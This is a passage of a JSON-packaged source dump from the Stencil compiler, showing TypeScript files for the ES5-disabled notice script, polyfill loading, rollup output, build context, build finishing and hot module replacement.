config.hydratedFlag.selector === 'attribute';\n    b.hydratedClass = config.hydratedFlag.selector === 'class';\n    b.hydratedSelectorName = config.hydratedFlag.name;\n  } else {\n    b.hydratedAttribute = false;\n    b.hydratedClass = false;\n  }\n};\n"
  },
  {
    "path": "src/compiler/app-core/app-es5-disabled.ts",
    "content": "import { escapeHtml, generatePreamble, join } from '@utils';\n\nimport type * as d from '../../declarations';\n\nexport const generateEs5DisabledMessage = async (\n  config: d.ValidatedConfig,\n  compilerCtx: d.CompilerCtx,\n  outputTarget: d.OutputTargetWww,\n) => {\n  // not doing an es5 right now\n  // but it's possible during development the user\n  // tests on a browser that doesn't support es2017\n  const fileName = `${config.fsNamespace}.js`;\n  const filePath = join(outputTarget.buildDir, fileName);\n  await compilerCtx.fs.writeFile(filePath, getDisabledMessageScript(config));\n  return fileName;\n};\n\nconst getDisabledMessageScript = (config: d.ValidatedConfig) => {\n  const style = `\n<style>\nbody {\n  display: block !important;\n  font-family: sans-serif;\n  padding: 20px;\n  line-height:22px;\n}\nh1 {\n  font-size: 18px;\n}\nh2 {\n  font-size: 14px;\n  margin-top: 40px;\n}\n</style>\n`;\n\n  const htmlLegacy = `\n  ${style}\n\n  <h1>This Stencil app is disabled for this browser.</h1>\n\n  <h2>Developers:</h2>\n  <ul>\n    <li>ES5 builds are disabled <strong>during development</strong> to take advantage of 2x faster build times.</li>\n    <li>Please see the example below or our <a href=\"https://stenciljs.com/docs/stencil-config\" target=\"_blank\" rel=\"noopener noreferrer\">config docs</a> if you would like to develop on a browser that does not fully support ES2017 and custom elements.</li>\n    <li>Note that as of Stencil v2, ES5 builds and polyfills are <strong>disabled</strong> during production builds. You can enable these <a href=\"https://stenciljs.com/docs/config#buildes5\" target=\"_blank\" rel=\"noopener noreferrer\">in your stencil.config.ts file</a>.</li>\n    <li>When testing browsers it is recommended to always test in production mode, and ES5 builds should always be enabled during production builds.</li>\n    <li><em>This is only an experiment and if it slows down app development then we will revert this and enable ES5 builds during dev.</em></li>\n  </ul>\n\n\n  <h2>Enabling ES5 builds during development:</h2>\n  <pre>\n    <code>npm run dev --es5</code>\n  </pre>\n  <p>For stencil-component-starter, use:</p>\n  <pre>\n    <code>npm start --es5</code>\n  </pre>\n\n\n  <h2>Enabling full production builds during development:</h2>\n  <pre>\n    <code>npm run dev --prod</code>\n  </pre>\n  <p>For stencil-component-starter, use:</p>\n  <pre>\n    <code>npm start --prod</code>\n  </pre>\n\n  <h2>Current Browser's Support:</h2>\n  <ul>\n    <li><a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/import\">ES Module Imports</a>: <span id=\"es-modules-test\"></span></li>\n    <li><a href=\"http://2ality.com/2017/01/import-operator.html\">ES Dynamic Imports</a>: <span id=\"es-dynamic-modules-test\"></span></li>\n    <li><a href=\"https://developer.mozilla.org/en-US/docs/Web/API/Window/customElements\">Custom Elements</a>: <span id=\"custom-elements-test\"></span></li>\n    <li><a href=\"https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_shadow_DOM\">Shadow DOM</a>: <span id=\"shadow-dom-test\"></span></li>\n    <li><a href=\"https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API\">fetch</a>: <span id=\"fetch-test\"></span></li>\n    <li><a href=\"https://developer.mozilla.org/en-US/docs/Web/CSS/Using_CSS_variables\">CSS Variables</a>: <span id=\"css-variables-test\"></span></li>\n  </ul>\n\n  <h2>Current Browser:</h2>\n  <pre>\n    <code id=\"current-browser-output\"></code>\n  </pre>\n  `;\n  const htmlUpdate = `\n  ${style}\n\n  <h1>Update src/index.html</h1>\n\n  <p>Stencil recently changed how scripts are loaded in order to improve performance.</p>\n\n  <h2>BEFORE:</h2>\n  <p>Previously, a single script was included that handled loading the correct JavaScript based on browser support.</p>\n  <pre>\n    <code>${escapeHtml(`<script src=\"/build/${config.fsNamespace}.js\"></script>\n`)}</code>\n  </pre>\n\n  <h2 style=\"margin-top:0\">AFTER:</h2>\n  <p>The index.html should now include two scripts using the modern ES Module script pattern.\n  Note that only one file will actually be requested and loaded based on the browser's native support for ES Modules.\n  For more info, please see <a href=\"https://developers.google.com/web/fundamentals/primers/modules#browser\" target=\"_blank\" rel=\"noopener noreferrer\">Using JavaScript modules on the web</a>.\n  </p>\n  <pre>\n  <code>${escapeHtml(`<script`)} <span style=\"background:yellow\">type=\"module\"</span> src=\"/build/${\n    config.fsNamespace\n  }<span style=\"background:yellow\">.esm</span>.js\"${escapeHtml(`></script>`)}\n  ${escapeHtml(`<script`)} <span style=\"background:yellow\">nomodule</span> ${escapeHtml(\n    `src=\"/build/${config.fsNamespace}.js\"></script>`,\n  )}</code>\n    </pre>\n  `;\n  return `${generatePreamble(config)}\n(function() {\n  function checkSupport() {\n    if (!document.body) {\n      setTimeout(checkSupport);\n      return;\n    }\n    function supportsDynamicImports() {\n      try {\n        new Function('import(\"\")');\n        return true;\n      } catch (e) {}\n      return false;\n    }\n    var supportsEsModules = !!('noModule' in document.createElement('script'));\n\n    if (!supportsEsModules) {\n      document.body.innerHTML = '${inlineHTML(htmlLegacy)}';\n\n      document.getElementById('current-browser-output').textContent = window.navigator.userAgent;\n      document.getElementById('es-modules-test').textContent = supportsEsModules;\n      document.getElementById('es-dynamic-modules-test').textContent = supportsDynamicImports();\n      document.getElementById('shadow-dom-test').textContent = !!(document.head.attachShadow);\n      document.getElementById('custom-elements-test').textContent = !!(window.customElements);\n      document.getElementById('css-variables-test').textContent = !!(window.CSS && window.CSS.supports && window.CSS.supports('color', 'var(--c)'));\n      document.getElementById('fetch-test').textContent = !!(window.fetch);\n    } else {\n      document.body.innerHTML = '${inlineHTML(htmlUpdate)}';\n    }\n  }\n\n  setTimeout(checkSupport);\n})();`;\n};\n\nconst inlineHTML = (html: string) => {\n  return html.replace(/\\n/g, '\\\\n').replace(/\\'/g, `\\\\'`).trim();\n};\n"
  },
  {
    "path": "src/compiler/app-core/app-polyfills.ts",
    "content": "import { join } from '@utils';\n\nimport type * as d from '../../declarations';\n\nexport const getClientPolyfill = async (\n  config: d.ValidatedConfig,\n  compilerCtx: d.CompilerCtx,\n  polyfillFile: string,\n) => {\n  const polyfillFilePath = join(\n    config.sys.getCompilerExecutingPath(),\n    '..',\n    '..',\n    'internal',\n    'client',\n    'polyfills',\n    polyfillFile,\n  );\n  return compilerCtx.fs.readFile(polyfillFilePath);\n};\n\nexport const getAppBrowserCorePolyfills = async (config: d.ValidatedConfig, compilerCtx: d.CompilerCtx) => {\n  // read all the polyfill content, in this particular order\n  const polyfills = INLINE_POLYFILLS.slice();\n\n  const results = await Promise.all(\n    polyfills.map((polyfillFile) => getClientPolyfill(config, compilerCtx, polyfillFile)),\n  );\n\n  // concat the polyfills\n  return results.join('\\n').trim();\n};\n\n// order of the polyfills matters!! test test test\n// actual source of the polyfills are found in /src/client/polyfills/\nconst INLINE_POLYFILLS = ['core-js.js', 'dom.js', 'es5-html-element.js', 'system.js'];\n"
  },
  {
    "path": "src/compiler/app-core/bundle-app-core.ts",
    "content": "import type { OutputAsset, OutputChunk, OutputOptions, RollupBuild } from 'rollup';\n\nimport type * as d from '../../declarations';\nimport { STENCIL_CORE_ID } from '../bundle/entry-alias-ids';\n\n/**\n * Generate rollup output based on a rollup build and a series of options.\n *\n * @param build a rollup build\n * @param options output options for rollup\n * @param config a user-supplied configuration object\n * @param entryModules a list of entry modules, for checking which chunks\n * contain components\n * @returns a Promise wrapping either build results or `null`\n */\nexport const generateRollupOutput = async (\n  build: RollupBuild,\n  options: OutputOptions,\n  config: d.ValidatedConfig,\n  entryModules: d.EntryModule[],\n): Promise<d.RollupResult[] | null> => {\n  if (build == null) {\n    return null;\n  }\n\n  const { output }: { output: [OutputChunk, ...(OutputChunk | OutputAsset)[]] } = await build.generate(options);\n  return output.map((chunk: OutputChunk | OutputAsset) => {\n    if (chunk.type === 'chunk') {\n      const isCore = Object.keys(chunk.modules).some((m) => m.includes(STENCIL_CORE_ID));\n      return {\n        type: 'chunk',\n        fileName: chunk.fileName,\n        map: chunk.map\n          ? {\n              ...chunk.map,\n              sourcesContent: chunk.map.sourcesContent || [],\n            }\n          : undefined,\n        code: chunk.code,\n        moduleFormat: options.format,\n        entryKey: chunk.name,\n        imports: chunk.imports,\n        isEntry: !!chunk.isEntry,\n        isComponent: !!chunk.isEntry && entryModules.some((m) => m.entryKey === chunk.name),\n        isBrowserLoader: chunk.isEntry && chunk.name === config.fsNamespace,\n        isIndex: chunk.isEntry && chunk.name === 'index',\n        isCore,\n      };\n    } else {\n      return {\n        type: 'asset',\n        fileName: chunk.fileName,\n        content: chunk.source as any,\n      };\n    }\n  });\n};\n"
  },
  {
    "path": "src/compiler/build/build-ctx.ts",
    "content": "import { hasError, hasWarning, result } from '@utils';\n\nimport type * as d from '../../declarations';\nimport { validateConfig } from '../config/validate-config';\n\n/**\n * A new BuildCtx object is created for every build\n * and rebuild.\n */\nexport class BuildContext implements d.BuildCtx {\n  buildId = -1;\n  buildMessages: string[] = [];\n  buildResults: d.CompilerBuildResults = null;\n  bundleBuildCount = 0;\n  collections: d.CollectionCompilerMeta[] = [];\n  completedTasks: d.BuildTask[] = [];\n  compilerCtx: d.CompilerCtx;\n  components: d.ComponentCompilerMeta[] = [];\n  componentGraph = new Map<string, string[]>();\n  config: d.ValidatedConfig;\n  data: any = {};\n  buildStats?: result.Result<d.CompilerBuildStats, { diagnostics: d.Diagnostic[] }> = undefined;\n  esmBrowserComponentBundle: d.BundleModule[];\n  esmComponentBundle: d.BundleModule[];\n  es5ComponentBundle: d.BundleModule[];\n  systemComponentBundle: d.BundleModule[];\n  commonJsComponentBundle: d.BundleModule[];\n  diagnostics: d.Diagnostic[] = [];\n  dirsAdded: string[] = [];\n  dirsDeleted: string[] = [];\n  entryModules: d.EntryModule[] = [];\n  filesAdded: string[] = [];\n  filesChanged: string[] = [];\n  filesDeleted: string[] = [];\n  filesUpdated: string[] = [];\n  filesWritten: string[] = [];\n  globalStyle: string = undefined;\n  hasConfigChanges = false;\n  hasFinished = false;\n  hasHtmlChanges = false;\n  hasPrintedResults = false;\n  hasServiceWorkerChanges = false;\n  hasScriptChanges = true;\n  hasStyleChanges = true;\n  hydrateAppFilePath: string = null;\n  indexBuildCount = 0;\n  indexDoc: Document = undefined;\n  isRebuild = false;\n  moduleFiles: d.Module[] = [];\n  outputs: d.BuildOutput[] = [];\n  packageJson: d.PackageJsonData = {};\n  packageJsonFilePath: string = null;\n  pendingCopyTasks: Promise<d.CopyResults>[] = [];\n  requiresFullBuild = true;\n  scriptsAdded: string[] = [];\n  scriptsDeleted: string[] = [];\n  startTime = Date.now();\n  styleBuildCount = 0;\n  stylesPromise: Promise<string> = null;\n  stylesUpdated: d.BuildStyleUpdate[] = [];\n  timeSpan: d.LoggerTimeSpan = null;\n  timestamp: string;\n  transpileBuildCount = 0;\n  validateTypesPromise: Promise<d.ValidateTypesResults>;\n\n  constructor(config: d.Config, compilerCtx: d.CompilerCtx) {\n    this.config = validateConfig(config, {}).config;\n    this.compilerCtx = compilerCtx;\n    this.buildId = ++this.compilerCtx.activeBuildId;\n\n    this.debug = config.logger.debug.bind(config.logger);\n  }\n\n  start() {\n    // get the build id from the incremented activeBuildId\n    // print out a good message\n    const msg = `${this.isRebuild ? 'rebuild' : 'build'}, ${this.config.fsNamespace}, ${\n      this.config.devMode ? 'dev' : 'prod'\n    } mode, started`;\n\n    const buildLog: d.BuildLog = {\n      buildId: this.buildId,\n      messages: [],\n      progress: 0,\n    };\n    this.compilerCtx.events.emit('buildLog', buildLog);\n\n    // create a timespan for this build\n    this.timeSpan = this.createTimeSpan(msg);\n\n    // create a build timestamp for this build\n    this.timestamp = getBuildTimestamp();\n\n    // debug log our new build\n    this.debug(`start build, ${this.timestamp}`);\n\n    const buildStart: d.CompilerBuildStart = {\n      buildId: this.buildId,\n      timestamp: this.timestamp,\n    };\n    this.compilerCtx.events.emit('buildStart', buildStart);\n  }\n\n  createTimeSpan(msg: string, debug?: boolean) {\n    if (!this.hasFinished || debug) {\n      if (debug) {\n        if (this.config.watch) {\n          msg = `${this.config.logger.cyan('[' + this.buildId + ']')} ${msg}`;\n        }\n      }\n      const timeSpan = this.config.logger.createTimeSpan(msg, debug, this.buildMessages);\n\n      if (!debug && this.compilerCtx.events) {\n        const buildLog: d.BuildLog = {\n          buildId: this.buildId,\n          messages: this.buildMessages,\n          progress: getProgress(this.completedTasks),\n        };\n        this.compilerCtx.events.emit('buildLog', buildLog);\n      }\n\n      return {\n        duration: () => {\n          return timeSpan.duration();\n        },\n        finish: (finishedMsg: string, color?: string, bold?: boolean, newLineSuffix?: boolean) => {\n          if (!this.hasFinished || debug) {\n            if (debug) {\n              if (this.config.watch) {\n                finishedMsg = `${this.config.logger.cyan('[' + this.buildId + ']')} ${finishedMsg}`;\n              }\n            }\n\n            timeSpan.finish(finishedMsg, color, bold, newLineSuffix);\n\n            if (!debug) {\n              const buildLog: d.BuildLog = {\n                buildId: this.buildId,\n                messages: this.buildMessages.slice(),\n                progress: getProgress(this.completedTasks),\n              };\n              this.compilerCtx.events.emit('buildLog', buildLog);\n            }\n          }\n          return timeSpan.duration();\n        },\n      };\n    }\n\n    return {\n      duration() {\n        return 0;\n      },\n      finish() {\n        return 0;\n      },\n    };\n  }\n\n  debug(msg: string) {\n    this.config.logger.debug(msg);\n  }\n\n  get hasError() {\n    return hasError(this.diagnostics);\n  }\n\n  get hasWarning() {\n    return hasWarning(this.diagnostics);\n  }\n\n  progress(t: d.BuildTask) {\n    this.completedTasks.push(t);\n  }\n\n  async validateTypesBuild() {\n    if (this.hasError) {\n      // no need to wait on this one since\n      // we already aborted this build\n      return;\n    }\n\n    if (!this.validateTypesPromise) {\n      // there is no pending validate types promise\n      // so it probably already finished\n      // so no need to wait on anything\n      return;\n    }\n\n    if (!this.config.watch) {\n      // this is not a watch build, so we need to make\n      // sure that the type validation has finished\n      this.debug(`build, non-watch, waiting on validateTypes`);\n      await this.validateTypesPromise;\n      this.debug(`build, non-watch, finished waiting on validateTypes`);\n    }\n  }\n}\n\n/**\n * Generate a timestamp of the format `YYYY-MM-DDThh:mm:ss`, using the number of seconds that have elapsed since\n * January 01, 1970, and the time this function was called\n * @returns the generated timestamp\n */\nexport const getBuildTimestamp = () => {\n  const d = new Date();\n\n  // YYYY-MM-DDThh:mm:ss\n  let timestamp = d.getUTCFullYear() + '-';\n  timestamp += ('0' + (d.getUTCMonth() + 1)).slice(-2) + '-';\n  timestamp += ('0' + d.getUTCDate()).slice(-2) + 'T';\n  timestamp += ('0' + d.getUTCHours()).slice(-2) + ':';\n  timestamp += ('0' + d.getUTCMinutes()).slice(-2) + ':';\n  timestamp += ('0' + d.getUTCSeconds()).slice(-2);\n\n  return timestamp;\n};\n\nconst getProgress = (completedTasks: d.BuildTask[]) => {\n  let progressIndex = 0;\n  const taskKeys = Object.keys(ProgressTask);\n\n  taskKeys.forEach((taskKey, index) => {\n    if (completedTasks.includes((ProgressTask as any)[taskKey])) {\n      progressIndex = index;\n    }\n  });\n\n  return (progressIndex + 1) / taskKeys.length;\n};\n\nexport const ProgressTask = {\n  emptyOutputTargets: {},\n  transpileApp: {},\n  generateStyles: {},\n  generateOutputTargets: {},\n  validateTypesBuild: {},\n  writeBuildFiles: {},\n};\n"
  },
  {
    "path": "src/compiler/build/build-finish.ts",
    "content": "import { isFunction, isRemoteUrl, relative } from '@utils';\n\nimport type * as d from '../../declarations';\nimport { generateBuildResults } from './build-results';\nimport { generateBuildStats, writeBuildStats } from './build-stats';\n\n/**\n * Finish a build as having completed successfully\n * @param buildCtx the build context for the build being aborted\n * @returns the build results\n */\nexport const buildFinish = async (buildCtx: d.BuildCtx): Promise<d.CompilerBuildResults> => {\n  const results = await buildDone(buildCtx.config, buildCtx.compilerCtx, buildCtx, false);\n\n  const buildLog: d.BuildLog = {\n    buildId: buildCtx.buildId,\n    messages: buildCtx.buildMessages.slice(),\n    progress: 1,\n  };\n\n  buildCtx.compilerCtx.events.emit('buildLog', buildLog);\n\n  return results;\n};\n\n/**\n * Finish a build early due to failure. During the build process, a fatal error has occurred where the compiler cannot\n * continue further\n * @param buildCtx the build context for the build being aborted\n * @returns the build results\n */\nexport const buildAbort = (buildCtx: d.BuildCtx): Promise<d.CompilerBuildResults> => {\n  return buildDone(buildCtx.config, buildCtx.compilerCtx, buildCtx, true);\n};\n\n/**\n * Mark a build as done\n * @param config the Stencil configuration used for the build\n * @param compilerCtx the compiler context associated with the build\n * @param buildCtx the build context associated with the build to mark as done\n * @param aborted true if the build ended early due to failure, false otherwise\n * @returns the build results\n */\nconst buildDone = async (\n  config: d.ValidatedConfig,\n  compilerCtx: d.CompilerCtx,\n  buildCtx: d.BuildCtx,\n  aborted: boolean,\n): Promise<d.CompilerBuildResults> => {\n  if (buildCtx.hasFinished && buildCtx.buildResults) {\n    // we've already marked this build as finished and\n    // already created the build results, just return these\n    return buildCtx.buildResults;\n  }\n\n  // create the build results data\n  buildCtx.buildResults = generateBuildResults(config, compilerCtx, buildCtx);\n\n  // After the build results are available on the buildCtx, call the stats and set it.\n  // We will use this later to write the files.\n  buildCtx.buildStats = generateBuildStats(config, buildCtx);\n\n  await writeBuildStats(config, buildCtx.buildStats);\n\n  buildCtx.debug(`${aborted ? 'aborted' : 'finished'} build, ${buildCtx.buildResults.duration}ms`);\n\n  // log any errors/warnings\n  if (!buildCtx.hasFinished) {\n    // haven't set this build as finished yet\n    if (!buildCtx.hasPrintedResults) {\n      cleanDiagnosticsRelativePath(config, buildCtx.buildResults.diagnostics);\n      config.logger.printDiagnostics(buildCtx.buildResults.diagnostics);\n    }\n\n    const hasChanges = buildCtx.hasScriptChanges || buildCtx.hasStyleChanges;\n    if (buildCtx.isRebuild && hasChanges && buildCtx.buildResults.hmr && !aborted) {\n      // this is a rebuild, and we've got hmr data\n      // and this build hasn't been aborted\n      logHmr(config.logger, buildCtx.buildResults.hmr);\n    }\n\n    // create a nice pretty message stating what happened\n    const buildText = buildCtx.isRebuild ? 'rebuild' : 'build';\n    const watchText = config.watch ? ', watching for changes...' : '';\n    let buildStatus = 'finished';\n    let statusColor = 'green';\n\n    if (buildCtx.hasError) {\n      // gosh darn, build had errors\n      // ಥ_ಥ\n      buildStatus = 'failed';\n      statusColor = 'red';\n    } else {\n      // successful build!\n      // ┏(°.°)┛ ┗(°.°)┓ ┗(°.°)┛ ┏(°.°)┓\n      compilerCtx.changedFiles.clear();\n      compilerCtx.hasSuccessfulBuild = true;\n      buildCtx.buildResults.hasSuccessfulBuild = true;\n    }\n\n    // print out the time it took to build\n    // and add the duration to the build results\n    if (!buildCtx.hasPrintedResults) {\n      buildCtx.timeSpan.finish(`${buildText} ${buildStatus}${watchText}`, statusColor, true, true);\n      buildCtx.hasPrintedResults = true;\n    }\n\n    // emit a buildFinish event for anyone who cares\n    compilerCtx.events.emit('buildFinish', buildCtx.buildResults);\n\n    // write all of our logs to disk if config'd to do so\n    // do this even if there are errors or not the active build\n    if (isFunction(config.logger.writeLogs)) {\n      config.logger.writeLogs(buildCtx.isRebuild);\n    }\n  }\n\n  // it's official, this build has finished\n  buildCtx.hasFinished = true;\n\n  if (!config.watch) {\n    compilerCtx.reset();\n    if (global.gc) {\n      buildCtx.debug(`triggering forced gc`);\n      global.gc();\n      buildCtx.debug(`forced gc finished`);\n    }\n  }\n\n  return buildCtx.buildResults;\n};\n\n/**\n * In a Hot Module Replacement (HMR) context, log what changed between builds\n * @param logger the instance of the logger to report what's changed\n * @param hmr the HMR data, which includes what's changed between builds\n */\nconst logHmr = (logger: d.Logger, hmr: d.HotModuleReplacement): void => {\n  if (hmr.componentsUpdated) {\n    cleanupUpdateMsg(logger, `updated component`, hmr.componentsUpdated);\n  }\n\n  if (hmr.inlineStylesUpdated) {\n    const inlineStyles = hmr.inlineStylesUpdated\n      .map((s) => s.styleTag)\n      .reduce((arr, v) => {\n        if (!arr.includes(v)) {\n          arr.push(v);\n        }\n        return arr;\n      }, [] as string[]);\n    cleanupUpdateMsg(logger, `updated style`, inlineStyles);\n  }\n\n  if (hmr.externalStylesUpdated) {\n    cleanupUpdateMsg(logger, `updated stylesheet`, hmr.externalStylesUpdated);\n  }\n\n  if (hmr.imagesUpdated) {\n    cleanupUpdateMsg(logger, `updated image`, hmr.imagesUpdated);\n  }\n};\n\nconst cleanupUpdateMsg = (logger: d.Logger, msg: string, fileNames: string[]) => {\n  if (fileNames.length > 0) {\n    let fileMsg = '';\n\n    if (fileNames.length > 7) {\n      const remaining = fileNames.length - 6;\n      fileNames = fileNames.slice(0, 6);\n      fileMsg = fileNames.join(', ') + `, +${remaining} others`;\n    } else {\n      fileMsg = fileNames.join(', ');\n    }\n\n    if (fileNames.length > 1) {\n      msg += 's';\n    }\n\n    logger.info(`${msg}: ${logger.cyan(fileMsg)}`);\n  }\n};\n\n/**\n * Update the relative file path for diagnostics. The updates are done in place.\n * @param config the Stencil configuration associated with the current build\n * @param diagnostics the diagnostics to update\n */\nconst cleanDiagnosticsRelativePath = (config: d.Config, diagnostics: ReadonlyArray<d.Diagnostic>): void => {\n  diagnostics.forEach((diagnostic) => {\n    if (!diagnostic.relFilePath && diagnostic.absFilePath && !isRemoteUrl(diagnostic.absFilePath) && config.rootDir) {\n      diagnostic.relFilePath = relative(config.rootDir, diagnostic.absFilePath);\n    }\n  });\n};\n"
  },
  {
    "path": "src/compiler/build/build-hmr.ts",
    "content": "import { isGlob, isOutputTargetWww, normalizePath, sortBy } from '@utils';\nimport { minimatch } from 'minimatch';\nimport { basename } from 'path';\n\nimport type * as d from '../../declarations';\nimport { getScopeId } from '../style/scope-css';\n\nexport const generateHmr = (config: d.Config, compilerCtx: d.CompilerCtx, buildCtx: d.BuildCtx) => {\n  if (config.devServer?.reloadStrategy == null) {\n    return null;\n  }\n\n  const hmr: d.HotModuleReplacement = {\n    reloadStrategy: config.devServer.reloadStrategy,\n    versionId: Date.now().toString().substring(6) + '' + Math.round(Math.random() * 89999 + 10000),\n  };\n\n  if (buildCtx.scriptsAdded.length > 0) {\n    hmr.scriptsAdded = buildCtx.scriptsAdded.slice();\n  }\n\n  if (buildCtx.scriptsDeleted.length > 0) {\n    hmr.scriptsDeleted = buildCtx.scriptsDeleted.slice();\n  }\n\n  const excludeHmr = excludeHmrFiles(config, config.devServer.excludeHmr, buildCtx.filesChanged);\n  if (excludeHmr.length > 0) {\n    hmr.excludeHmr = excludeHmr.slice();\n  }\n\n  if (buildCtx.hasHtmlChanges) {\n    hmr.indexHtmlUpdated = true;\n  }\n\n  if (buildCtx.hasServiceWorkerChanges) {\n    hmr.serviceWorkerUpdated = true;\n  }\n\n  const outputTargetsWww = config.outputTargets.filter(isOutputTargetWww);\n\n  const componentsUpdated = getComponentsUpdated(compilerCtx, buildCtx);\n  if (componentsUpdated) {\n    hmr.componentsUpdated = componentsUpdated;\n  }\n\n  if (Object.keys(buildCtx.stylesUpdated).length > 0) {\n    hmr.inlineStylesUpdated = sortBy(\n      buildCtx.stylesUpdated.map((s) => {\n        return {\n          styleId: getScopeId(s.styleTag, s.styleMode),\n          styleTag: s.styleTag,\n          styleText: s.styleText,\n        } as d.HmrStyleUpdate;\n      }),\n      (s) => s.styleId,\n    );\n  }\n\n  const externalStylesUpdated = getExternalStylesUpdated(buildCtx, outputTargetsWww);\n  if (externalStylesUpdated) {\n    hmr.externalStylesUpdated = externalStylesUpdated;\n  }\n\n  const externalImagesUpdated = getImagesUpdated(buildCtx, outputTargetsWww);\n  if (externalImagesUpdated) {\n    hmr.imagesUpdated = externalImagesUpdated;\n  }\n\n  return hmr;\n};\n\nconst getComponentsUpdated = (compilerCtx: d.CompilerCtx, buildCtx: d.BuildCtx) => {\n  // find all of the components that would be affected from the file changes\n  if (!buildCtx.filesChanged) {\n    return null;\n  }\n\n  const filesToLookForImporters = buildCtx.filesChanged.filter((f) => {\n    return f.endsWith('.ts') || f.endsWith('.tsx') || f.endsWith('.js') || f.endsWith('.jsx');\n  });\n\n  if (filesToLookForImporters.length === 0) {\n    return null;\n  }\n\n  const changedScriptFiles: string[] = [];\n  const checkedFiles = new Set<string>();\n  const allModuleFiles = buildCtx.moduleFiles.filter((m) => m.localImports && m.localImports.length > 0);\n\n  while (filesToLookForImporters.length > 0) {\n    const scriptFile = filesToLookForImporters.shift();\n    addTsFileImporters(allModuleFiles, filesToLookForImporters, checkedFiles, changedScriptFiles, scriptFile);\n  }\n\n  const tags = changedScriptFiles.reduce((tags, changedTsFile) => {\n    const moduleFile = compilerCtx.moduleMap.get(changedTsFile);\n    if (moduleFile != null) {\n      moduleFile.cmps.forEach((cmp) => {\n        if (typeof cmp.tagName === 'string') {\n          if (!tags.includes(cmp.tagName)) {\n            tags.push(cmp.tagName);\n          }\n        }\n      });\n    }\n    return tags;\n  }, [] as string[]);\n\n  if (tags.length === 0) {\n    return null;\n  }\n\n  return tags.sort();\n};\n\nconst addTsFileImporters = (\n  allModuleFiles: d.Module[],\n  filesToLookForImporters: string[],\n  checkedFiles: Set<string>,\n  changedScriptFiles: string[],\n  scriptFile: string,\n) => {\n  if (!changedScriptFiles.includes(scriptFile)) {\n    // add it to our list of files to transpile\n    changedScriptFiles.push(scriptFile);\n  }\n\n  if (checkedFiles.has(scriptFile)) {\n    // already checked this file\n    return;\n  }\n  checkedFiles.add(scriptFile);\n\n  // get all the ts files that import this ts file\n  const tsFilesThatImportsThisTsFile = allModuleFiles.reduce((arr, moduleFile) => {\n    moduleFile.localImports.forEach((localImport) => {\n      let checkFile = localImport;\n\n      if (checkFile === scriptFile) {\n        arr.push(moduleFile.sourceFilePath);\n        return;\n      }\n\n      checkFile = localImport + '.tsx';\n      if (checkFile === scriptFile) {\n        arr.push(moduleFile.sourceFilePath);\n        return;\n      }\n\n      checkFile = localImport + '.ts';\n      if (checkFile === scriptFile) {\n        arr.push(moduleFile.sourceFilePath);\n        return;\n      }\n\n      checkFile = localImport + '.js';\n      if (checkFile === scriptFile) {\n        arr.push(moduleFile.sourceFilePath);\n        return;\n      }\n    });\n    return arr;\n  }, [] as string[]);\n\n  // add all the files that import this ts file to the list of ts files we need to look through\n  tsFilesThatImportsThisTsFile.forEach((tsFileThatImportsThisTsFile) => {\n    // if we add to this array, then the while look will keep working until it's empty\n    filesToLookForImporters.push(tsFileThatImportsThisTsFile);\n  });\n};\n\nconst getExternalStylesUpdated = (buildCtx: d.BuildCtx, outputTargetsWww: d.OutputTargetWww[]) => {\n  if (!buildCtx.isRebuild || outputTargetsWww.length === 0) {\n    return null;\n  }\n\n  const cssFiles = buildCtx.filesWritten.filter((f) => f.endsWith('.css'));\n  if (cssFiles.length === 0) {\n    return null;\n  }\n\n  return cssFiles.map((cssFile) => basename(cssFile)).sort();\n};\n\nconst getImagesUpdated = (buildCtx: d.BuildCtx, outputTargetsWww: d.OutputTargetWww[]) => {\n  if (outputTargetsWww.length === 0) {\n    return null;\n  }\n\n  const imageFiles = buildCtx.filesChanged.reduce((arr, filePath) => {\n    if (IMAGE_EXT.some((ext) => filePath.toLowerCase().endsWith(ext))) {\n      const fileName = basename(filePath);\n      if (!arr.includes(fileName)) {\n        arr.push(fileName);\n      }\n    }\n    return arr;\n  }, []);\n\n  if (imageFiles.length === 0) {\n    return null;\n  }\n\n  return imageFiles.sort();\n};\n\n/**\n * Determine a list of files (if any) which should be excluded from HMR updates.\n *\n * @param config a user-supplied config\n * @param excludeHmr a list of glob patterns that should be used to determine\n * whether to exclude a file or not (a file will be excluded if it matches one\n * @param filesChanged an array of files which are changed in the HMR update\n * currently under consideration\n * @returns a sorted list of files to exclude\n */\nconst excludeHmrFiles = (config: d.Config, excludeHmr: string[], filesChanged: string[]): string[] => {\n  const excludeFiles: string[] = [];\n\n  if (!excludeHmr || excludeHmr.length === 0) {\n    return excludeFiles;\n  }\n\n  excludeHmr.forEach((excludeHmr) => {\n    return filesChanged\n      .map((fileChanged) => {\n        let shouldExclude = false;\n\n        if (isGlob(excludeHmr)) {\n          shouldExclude = minimatch(fileChanged, excludeHmr);\n        } else {\n          shouldExclude = normalizePath(excludeHmr) === normalizePath(fileChanged);\n        }\n\n        if (shouldExclude) {\n          config.logger.debug(`excludeHmr: ${fileChanged}`);\n          excludeFiles.push(basename(fileChanged));\n        }\n\n        return shouldExclude;\n      })\n      .some((r) => r);\n  });\n\n  return excludeFiles.sort();\n};\n\nconst IMAGE_EXT = ['.png', '.jpg', '.jpeg', '.gif', '.webp', '.ico', '.svg'];\n"
  },
  {
    "path": "src/compiler/build/build-results.ts",
    "content": "import { fromEntries, hasError, isString, normalizeDiagnostics } from '@utils';\n\nimport type * as d from '../../declarations';\nimport { getBuildTimestamp } from './build-ctx';\nimport { generateHmr } from './build-hmr';\n\nexport const generateBuildResults = (config: d.Config, compilerCtx: d.CompilerCtx, buildCtx: d.BuildCtx) => {\n  const componentGraph = buildCtx.componentGraph ? fromEntries(buildCtx.componentGraph.entries()) : undefined;\n\n  const buildResults: d.CompilerBuildResults = {\n    buildId: buildCtx.buildId,\n    diagnostics: normalizeDiagnostics(compilerCtx, buildCtx.diagnostics),\n    dirsAdded: buildCtx.dirsAdded.slice().sort(),\n    dirsDeleted: buildCtx.dirsDeleted.slice().sort(),\n    duration: Date.now() - buildCtx.startTime,\n    filesAdded: buildCtx.filesAdded.slice().sort(),\n    filesChanged: buildCtx.filesChanged.slice().sort(),\n    filesDeleted: buildCtx.filesDeleted.slice().sort(),\n    filesUpdated: buildCtx.filesUpdated.slice().sort(),\n    hasError: hasError(buildCtx.diagnostics),\n    hasSuccessfulBuild: compilerCtx.hasSuccessfulBuild,\n    isRebuild: buildCtx.isRebuild,\n    namespace: config.namespace,\n    outputs: compilerCtx.fs.getBuildOutputs(),\n    